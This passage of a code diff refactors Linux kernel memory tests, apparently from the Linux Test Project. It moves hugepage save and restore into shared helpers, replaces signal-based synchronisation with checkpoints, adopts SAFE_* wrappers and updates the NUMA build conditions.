@@ -66,8 +64,7 @@
 
 	switch (pid = SAFE_FORK()) {
 	case 0:
-		if (setuid(ltp_uid) == -1)
-			tst_brk(TBROK | TERRNO, "setuid");
+		SAFE_SETUID(ltp_uid);
 
 		addr = shmat(shm_id_1, NULL, 0);
 		if (addr != (void *)-1) {
@@ -82,8 +79,7 @@
 		}
 		break;
 	default:
-		if (waitpid(pid, &status, 0) == -1)
-			tst_brk(TBROK | TERRNO, "waitpid");
+		SAFE_WAITPID(pid, &status, 0);
 	}
 }
 
@@ -91,11 +87,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -113,7 +108,7 @@
 static void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
index 1411af6..b4dea53 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat04.c
@@ -30,7 +30,6 @@
  * 	test must be run at root
  */
 
-#include "mem.h"
 #include "hugetlb.h"
 
 #define SIZE	(1024 * 1024 * 1024)
@@ -84,9 +83,9 @@
 
 static void setup(void)
 {
-	long mem_total, hpage_size;
+	long mem_total, hpage_size, orig_hugepages;
 
-	check_hugepage();
+	orig_hugepages = save_nr_hugepages();
 	mem_total = SAFE_READ_MEMINFO("MemTotal:");
 	SAFE_FILE_SCANF(PATH_SHMMAX, "%ld", &orig_shmmax);
 	SAFE_FILE_PRINTF(PATH_SHMMAX, "%ld", (long)SIZE);
@@ -98,7 +97,6 @@
 	if (new_shmmax < SIZE)
 		tst_brk(TCONF,	"shmmax too low, have: %ld", new_shmmax);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
 	hugepages = (orig_hugepages * hpage_size + SIZE) / hpage_size;
@@ -107,7 +105,7 @@
 
 static void cleanup(void)
 {
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 	SAFE_FILE_PRINTF(PATH_SHMMAX, "%ld", orig_shmmax);
 }
 
diff --git a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
index d86d7f9..a587391 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmat/hugeshmat05.c
@@ -36,7 +36,6 @@
  *
  */
 
-#include "mem.h"
 #include "hugetlb.h"
 
 static long page_size;
@@ -47,8 +46,7 @@
 
 void setup(void)
 {
-	check_hugepage();
-	orig_hugepages = get_sys_tune("nr_hugepages");
+	save_nr_hugepages();
 	page_size = getpagesize();
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -58,7 +56,7 @@
 
 void cleanup(void)
 {
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 void shm_test(int size)
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
index 0e37b8f..c639c8e 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl01.c
@@ -42,12 +42,11 @@
  */
 
 #include <limits.h>
-#include "mem.h"
 #include "hugetlb.h"
 
 #define FIRST		0
 #define SECOND		1
-#define N_ATTACH	4
+#define N_ATTACH	4U
 #define NEWMODE		0066
 
 static size_t shm_size;
@@ -56,9 +55,7 @@
 static time_t save_time;
 static int stat_time;
 static void *set_shared;
-static pid_t pid_arr[N_ATTACH];
 
-static void sighandler(int sig);
 static void stat_setup(void);
 static void stat_cleanup(void);
 static void set_setup(void);
@@ -141,19 +138,10 @@
  */
 static void stat_setup(void)
 {
-	int i, rval;
+	unsigned int i;
 	void *test;
 	pid_t pid;
-	sigset_t newmask, oldmask;
-	struct sigaction sa;
 
-	memset (&sa, '\0', sizeof(sa));
-	sa.sa_handler = sighandler;
-	sa.sa_flags = 0;
-	TEST(sigaction(SIGUSR1, &sa, NULL));
-	if (TEST_RETURN == -1)
-		tst_brk(TBROK | TRERRNO,
-				"SIGSEGV signal setup failed");
 	/*
 	 * The first time through, let the children attach the memory.
 	 * The second time through, attach the memory first and let
@@ -168,21 +156,6 @@
 		set_shared = set_shmat();
 	}
 
-	/*
-	 * Block SIGUSR1 before children pause for a signal
-	 * Doing so to avoid the risk that the parent cleans up
-	 * children by calling stat_cleanup() before children call
-	 * call pause() so that children sleep forever(this is a
-	 * side effect of the arbitrary usleep time below).
-	 * In FIRST, children call shmat. If children sleep forever,
-	 * those attached shm can't be released so some other shm
-	 * tests will fail a lot.
-	 */
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGUSR1);
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0)
-		tst_brk(TBROK | TERRNO, "block SIGUSR1 error");
-
 	for (i = 0; i < N_ATTACH; i++) {
 		switch (pid = SAFE_FORK()) {
 		case 0:
@@ -191,39 +164,20 @@
 			/* do an assignement for fun */
 			*(int *)test = i;
 
-			/*
-			 * sigsuspend until we get a signal from stat_cleanup()
-			 * use sigsuspend instead of pause to avoid children
-			 * infinite sleep without getting SIGUSR1 from parent
-			 */
-			rval = sigsuspend(&oldmask);
-			if (rval != -1)
-				tst_brk(TBROK | TERRNO, "sigsuspend");
+			TST_CHECKPOINT_WAKE(0);
 
-			/*
-			 * don't have to block SIGUSR1 any more,
-			 * recover the mask
-			 */
-			if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)
-				tst_brk(TBROK | TERRNO,
-					 "child sigprocmask");
+			TST_CHECKPOINT_WAIT(1);
 
 			/* now we're back - detach the memory and exit */
 			if (shmdt(test) == -1)
 				tst_brk(TBROK | TERRNO,
 					 "shmdt in stat_setup()");
+
 			exit(0);
 		default:
-			/* save the child's pid for cleanup later */
-			pid_arr[i] = pid;
+			TST_CHECKPOINT_WAIT(0);
 		}
 	}
-
-	/* parent doesn't have to block SIGUSR1, recover the mask */
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0)
-		tst_brk(TBROK, "parent sigprocmask");
-
-	usleep(250000);
 }
 
 /*
@@ -283,12 +237,14 @@
  */
 static void stat_cleanup(void)
 {
-	int i;
+	unsigned int i;
+	int status;
 
 	/* wake up the childern so they can detach the memory and exit */
+	TST_CHECKPOINT_WAKE2(1, N_ATTACH);
+
 	for (i = 0; i < N_ATTACH; i++)
-		if (kill(pid_arr[i], SIGUSR1) == -1)
-			tst_brk(TBROK | TERRNO, "kill with SIGUSR1");
+		SAFE_WAIT(&status);
 
 	/* remove the parent's shared memory the second time through */
 	if (stat_time == SECOND)
@@ -297,12 +253,6 @@
 	stat_time++;
 }
 
-static void sighandler(int sig)
-{
-	if (sig != SIGUSR1)
-		tst_res(TFAIL, "received unexpected signal %d", sig);
-}
-
 /*
  * set_setup() - set up for the IPC_SET command with shmctl()
  */
@@ -361,11 +311,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -377,7 +326,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
@@ -388,4 +337,5 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.test_all = test_hugeshmctl,
+	.needs_checkpoints = 1,
 };
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
index 6079d99..af2bf4a 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl02.c
@@ -35,7 +35,6 @@
 
 #include <pwd.h>
 #include <limits.h>
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -93,15 +92,14 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
-	shm_size = hpage_size * hugepages / 2;
+	shm_size = hpage_size * (hugepages / 2);
 	update_shm_size(&shm_size);
 	shmkey = getipckey();
 
@@ -121,7 +119,7 @@
 {
 	rm_shm(shm_id_1);
 	rm_shm(shm_id_2);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
index 19df79f..63dc4ce 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmctl/hugeshmctl03.c
@@ -45,7 +45,6 @@
 #include <sys/types.h>
 #include <sys/wait.h>
 #include <limits.h>
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -85,13 +84,11 @@
 	switch (pid = SAFE_FORK()) {
 	case 0:
 		/* set the user ID of the child to the non root user */
-		if (setuid(ltp_uid) == -1)
-			tst_brk(TBROK | TERRNO, "setuid");
+		SAFE_SETUID(ltp_uid);
 		do_child();
 		exit(0);
 	default:
-		if (waitpid(pid, &status, 0) == -1)
-			tst_brk(TBROK | TERRNO, "waitpid");
+		SAFE_WAITPID(pid, &status, 0);
 	}
 }
 
@@ -120,11 +117,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -143,7 +139,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
index 796d6df..d706d33 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmdt/hugeshmdt01.c
@@ -42,7 +42,6 @@
 #include <setjmp.h>
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -133,11 +132,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -163,7 +161,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
index ac3a1f0..70fb131 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget01.c
@@ -25,7 +25,6 @@
 
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -68,11 +67,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -89,7 +87,7 @@
 static void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
index 7db8b4e..8df943e 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget02.c
@@ -24,7 +24,6 @@
 #include <limits.h>
 #include "hugetlb.h"
 
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -86,11 +85,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -99,7 +97,8 @@
 
 	shmkey = getipckey();
 	shmkey2 = shmkey + 1;
-	shm_id_1 = shmget(shmkey, shm_size, IPC_CREAT | IPC_EXCL | SHM_RW);
+	shm_id_1 = shmget(shmkey, shm_size,
+			  SHM_HUGETLB | IPC_CREAT | IPC_EXCL | SHM_RW);
 	if (shm_id_1 == -1)
 		tst_brk(TBROK | TERRNO, "shmget #setup");
 }
@@ -107,7 +106,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
index f485b0d..2ea3df9 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget03.c
@@ -24,7 +24,6 @@
 
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
 #include "hugetlb.h"
 
 /*
@@ -65,11 +64,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	SAFE_FILE_SCANF(PATH_SHMMNI, "%ld", &orig_shmmni);
 
 	set_sys_tune("nr_hugepages", hugepages, 1);
@@ -107,7 +105,7 @@
 		rm_shm(shm_id_arr[i]);
 
 	FILE_PRINTF(PATH_SHMMNI, "%ld", orig_shmmni);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
index b8aee07..ae28bb3 100644
--- a/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
+++ b/testcases/kernel/mem/hugetlb/hugeshmget/hugeshmget05.c
@@ -26,7 +26,6 @@
 #include <sys/wait.h>
 #include <limits.h>
 #include "hugetlb.h"
-#include "mem.h"
 #include "hugetlb.h"
 
 static size_t shm_size;
@@ -52,14 +51,12 @@
 		tst_brk(TBROK | TERRNO, "fork");
 	case 0:
 		/* set the user ID of the child to the non root user */
-		if (setuid(ltp_uid) == -1)
-			tst_brk(TBROK | TERRNO, "setuid");
+		SAFE_SETUID(ltp_uid);
 		do_child();
 		exit(0);
 	default:
 		/* wait for the child to return */
-		if (waitpid(pid, &status, 0) == -1)
-			tst_brk(TBROK | TERRNO, "waitpid");
+		SAFE_WAITPID(pid, &status, 0);
 	}
 }
 
@@ -81,11 +78,10 @@
 {
 	long hpage_size;
 
-	check_hugepage();
+	save_nr_hugepages();
 	if (nr_opt)
 		hugepages = SAFE_STRTOL(nr_opt, 0, LONG_MAX);
 
-	orig_hugepages = get_sys_tune("nr_hugepages");
 	set_sys_tune("nr_hugepages", hugepages, 1);
 	hpage_size = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 
@@ -104,7 +100,7 @@
 void cleanup(void)
 {
 	rm_shm(shm_id_1);
-	set_sys_tune("nr_hugepages", orig_hugepages, 0);
+	restore_nr_hugepages();
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/hugetlb/lib/Makefile b/testcases/kernel/mem/hugetlb/lib/Makefile
index 96e8e37..c5c5564 100644
--- a/testcases/kernel/mem/hugetlb/lib/Makefile
+++ b/testcases/kernel/mem/hugetlb/lib/Makefile
@@ -19,6 +19,7 @@
 top_srcdir		?= ../../../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/testcases/kernel/mem/include/libmem.mk
 
 LIB			:= libhugetlb.a
 
diff --git a/testcases/kernel/mem/hugetlb/lib/hugetlb.c b/testcases/kernel/mem/hugetlb/lib/hugetlb.c
index 7afc7d4..1ea47eb 100644
--- a/testcases/kernel/mem/hugetlb/lib/hugetlb.c
+++ b/testcases/kernel/mem/hugetlb/lib/hugetlb.c
@@ -26,7 +26,6 @@
  *
  *	The library contains the following routines:
  *
- *	check_hugepage()
  *	getipckey()
  *	getuserid()
  *	rm_shm()
@@ -40,10 +39,21 @@
 #include <pwd.h>
 #include "hugetlb.h"
 
-void check_hugepage(void)
+static long orig_hugepages = -1;
+
+long save_nr_hugepages(void)
 {
-	if (access(PATH_HUGEPAGES, F_OK))
-		tst_brk(TCONF, "Huge page is not supported.");
+	check_hugepage();
+
+	orig_hugepages = get_sys_tune("nr_hugepages");
+
+	return orig_hugepages;
+}
+
+void restore_nr_hugepages(void)
+{
+	if (orig_hugepages != -1)
+		set_sys_tune("nr_hugepages", orig_hugepages, 0);
 }
 
 /*
diff --git a/testcases/kernel/mem/hugetlb/lib/hugetlb.h b/testcases/kernel/mem/hugetlb/lib/hugetlb.h
index c6d2016..2843f0a 100644
--- a/testcases/kernel/mem/hugetlb/lib/hugetlb.h
+++ b/testcases/kernel/mem/hugetlb/lib/hugetlb.h
@@ -31,6 +31,7 @@
 #include <sys/wait.h>
 #include "tst_test.h"
 #include "old_tmpdir.h"
+#include "mem.h"
 
 #define SHM_RD	0400
 #define SHM_WR	0200
@@ -45,18 +46,17 @@
  * from shmid_ds.ipc_perm.mode
  */
 #define MODE_MASK	0x01FF
-#define PATH_HUGEPAGES	"/sys/kernel/mm/hugepages/"
 
 key_t shmkey;			/* an IPC key generated by ftok() */
 
-void check_hugepage(void);
-
 int getipckey(void);
 int getuserid(char *user);
 void rm_shm(int shm_id);
 
 char *nr_opt;
 char *Hopt;
-long orig_hugepages;
+void check_hugepage(void);
+long save_nr_hugepages(void);
+void restore_nr_hugepages(void);
 
 #endif /* hugetlb.h */
diff --git a/testcases/kernel/mem/include/mem.h b/testcases/kernel/mem/include/mem.h
index 287f8b3..95d0bda 100644
--- a/testcases/kernel/mem/include/mem.h
+++ b/testcases/kernel/mem/include/mem.h
@@ -56,8 +56,10 @@
 
 /* HUGETLB */
 
+#define PATH_HUGEPAGES		"/sys/kernel/mm/hugepages/"
 #define PATH_SHMMAX		"/proc/sys/kernel/shmmax"
 
+void check_hugepage(void);
 void write_memcg(void);
 
 /* cpuset/memcg */
diff --git a/testcases/kernel/mem/ksm/ksm02.c b/testcases/kernel/mem/ksm/ksm02.c
index 6fe75d3..e8ac8aa 100644
--- a/testcases/kernel/mem/ksm/ksm02.c
+++ b/testcases/kernel/mem/ksm/ksm02.c
@@ -50,6 +50,9 @@
 #include <sys/stat.h>
 #include <errno.h>
 #include <fcntl.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
 #if HAVE_NUMAIF_H
 #include <numaif.h>
 #endif
@@ -59,8 +62,7 @@
 #include "mem.h"
 #include "ksm_common.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
 
 static void verify_ksm(void)
 {
@@ -121,6 +123,6 @@
 	.min_kver = "2.6.32",
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/ksm/ksm04.c b/testcases/kernel/mem/ksm/ksm04.c
index 1c8bf20..1070bfb 100644
--- a/testcases/kernel/mem/ksm/ksm04.c
+++ b/testcases/kernel/mem/ksm/ksm04.c
@@ -50,6 +50,9 @@
 #include <sys/stat.h>
 #include <errno.h>
 #include <fcntl.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
 #if HAVE_NUMAIF_H
 #include <numaif.h>
 #endif
@@ -59,8 +62,7 @@
 #include "mem.h"
 #include "ksm_common.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
 
 static void verify_ksm(void)
 {
@@ -125,6 +127,6 @@
 	.min_kver = "2.6.32",
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/ksm/ksm06.c b/testcases/kernel/mem/ksm/ksm06.c
index 334a048..050c632 100644
--- a/testcases/kernel/mem/ksm/ksm06.c
+++ b/testcases/kernel/mem/ksm/ksm06.c
@@ -28,6 +28,9 @@
 #include <limits.h>
 #include <errno.h>
 #include <fcntl.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
 #if HAVE_NUMAIF_H
 #include <numaif.h>
 #endif
@@ -35,11 +38,11 @@
 #include <stdio.h>
 #include <unistd.h>
 #include <limits.h>
-#include "numa_helper.h"
-#include "mem.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#include "mem.h"
+#include "numa_helper.h"
+
+#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
 
 static int run = -1;
 static int sleep_millisecs = -1;
@@ -97,7 +100,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "ksm06",
 	.needs_root = 1,
 	.options = ksm_options,
 	.setup = setup,
@@ -105,6 +107,6 @@
 	.test_all = test_ksm,
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/lib/mem.c b/testcases/kernel/mem/lib/mem.c
index f4d12e0..7f2099b 100644
--- a/testcases/kernel/mem/lib/mem.c
+++ b/testcases/kernel/mem/lib/mem.c
@@ -162,10 +162,9 @@
 	}
 }
 
+#ifdef HAVE_NUMA_V2
 static void set_global_mempolicy(int mempolicy)
 {
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
 	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
 	int num_nodes, *nodes;
 	int ret;
@@ -203,8 +202,10 @@
 		if (set_mempolicy(mempolicy, nmask, MAXNODES) == -1)
 			tst_brk(TBROK|TERRNO, "set_mempolicy");
 	}
-#endif
 }
+#else
+static void set_global_mempolicy(int mempolicy LTP_ATTRIBUTE_UNUSED) { }
+#endif
 
 void testoom(int mempolicy, int lite, int retcode, int allow_sigkill)
 {
@@ -346,6 +347,12 @@
 	free(s);
 }
 
+void check_hugepage(void)
+{
+	if (access(PATH_HUGEPAGES, F_OK))
+		tst_brk(TCONF, "Huge page is not supported.");
+}
+
 void write_memcg(void)
 {
 	SAFE_FILE_PRINTF(MEMCG_LIMIT, "%ld", TESTMEM);
@@ -562,8 +569,7 @@
 	unsigned long length;
 	unsigned long pagesize;
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 	unsigned long nmask[MAXNODES / BITS_PER_LONG] = { 0 };
 #endif
 
@@ -588,8 +594,7 @@
 			tst_brk(TBROK|TERRNO, "madvise");
 #endif
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 		clean_node(nmask);
 		set_node(nmask, nodes[i]);
 		/*
@@ -686,9 +691,7 @@
 		if (errno == ENOENT) {
 			snprintf(path, BUFSIZ, "%s/cpuset.%s",
 				 prefix, filename);
-			fd = open(path, O_RDONLY);
-			if (fd == -1)
-				tst_brk(TBROK | TERRNO, "open %s", path);
+			fd = SAFE_OPEN(path, O_RDONLY);
 		} else
 			tst_brk(TBROK | TERRNO, "open %s", path);
 	}
@@ -713,9 +716,7 @@
 		if (errno == ENOENT) {
 			snprintf(path, BUFSIZ, "%s/cpuset.%s",
 				 prefix, filename);
-			fd = open(path, O_WRONLY);
-			if (fd == -1)
-				tst_brk(TBROK | TERRNO, "open %s", path);
+			fd = SAFE_OPEN(path, O_WRONLY);
 		} else
 			tst_brk(TBROK | TERRNO, "open %s", path);
 	}
diff --git a/testcases/kernel/mem/mtest06/mmap1.c b/testcases/kernel/mem/mtest06/mmap1.c
index f3eae99..8894b0d 100644
--- a/testcases/kernel/mem/mtest06/mmap1.c
+++ b/testcases/kernel/mem/mtest06/mmap1.c
@@ -53,6 +53,7 @@
 #include <signal.h>
 #include <string.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #define DISTANT_MMAP_SIZE (64*1024*1024)
 #define OPT_MISSING(prog, opt) do { \
@@ -347,8 +348,7 @@
 		MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
 	if (distant_area == (void *)-1)
 		tst_brkm(TBROK | TERRNO, NULL, "distant_area: mmap()");
-	if (munmap(distant_area, (size_t) DISTANT_MMAP_SIZE) == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "distant_area: munmap()");
+	SAFE_MUNMAP(NULL, distant_area, (size_t)DISTANT_MMAP_SIZE);
 	distant_area += DISTANT_MMAP_SIZE / 2;
 
 	if (verbose_print)
diff --git a/testcases/kernel/mem/mtest07/mallocstress.c b/testcases/kernel/mem/mtest07/mallocstress.c
index 9588fb4..2e900ad 100644
--- a/testcases/kernel/mem/mtest07/mallocstress.c
+++ b/testcases/kernel/mem/mtest07/mallocstress.c
@@ -70,39 +70,22 @@
 #include <errno.h>
 #include <stdint.h>
 #include <sys/types.h>
-#include <sys/ipc.h>
-#include <sys/sem.h>
 
-#define MAXL    100		/* default number of loops to do malloc and free      */
-#define MAXT     60		/* default number of threads to create.               */
+#include "tst_test.h"
+#include "tst_safe_pthread.h"
 
-#ifdef DEBUG
-#define dprt(args)	printf args
-#else
-#define dprt(args)
-#endif
+/* Number of loops per-thread */
+#define NUM_LOOPS	100
 
-#define OPT_MISSING(prog, opt)   do{\
-			       fprintf(stderr, "%s: option -%c ", prog, opt); \
-                               fprintf(stderr, "requires an argument\n"); \
-                               usage(prog); \
-                                   } while (0)
-
-int num_loop = MAXL;		/* number of loops to perform                     */
-int semid;
+/* Number of threads to create */
+#define NUM_THREADS     60
 
 /* Define SPEW_SIGNALS to tickle thread_create bug (it fails if interrupted). */
 #define SPEW_SIGNALS
 
-/******************************************************************************/
-/*								 	      */
-/* Function:	my_yield						      */
-/*									      */
-/* Description:	Yield control to another thread.                              */
-/*              Generate a signal, too.                                       */
-/*									      */
-/******************************************************************************/
-static void my_yield()
+static pthread_t *thread_id;	/* Spawned thread */
+
+static void my_yield(void)
 {
 #ifdef SPEW_SIGNALS
 	/* usleep just happens to use signals in glibc at moment.
@@ -119,60 +102,32 @@
 #endif
 }
 
-/******************************************************************************/
-/*								 	      */
-/* Function:	usage							      */
-/*									      */
-/* Description:	Print the usage message.				      */
-/*									      */
-/* Input:	char *progname - name of this program                         */
-/*									      */
-/* Return:	exits with -1						      */
-/*									      */
-/******************************************************************************/
-static void usage(char *progname)
-{				/* name of this program                       */
-	fprintf(stderr,
-		"Usage: %s -d NUMDIR -f NUMFILES -h -t NUMTHRD\n"
-		"\t -h Help!\n"
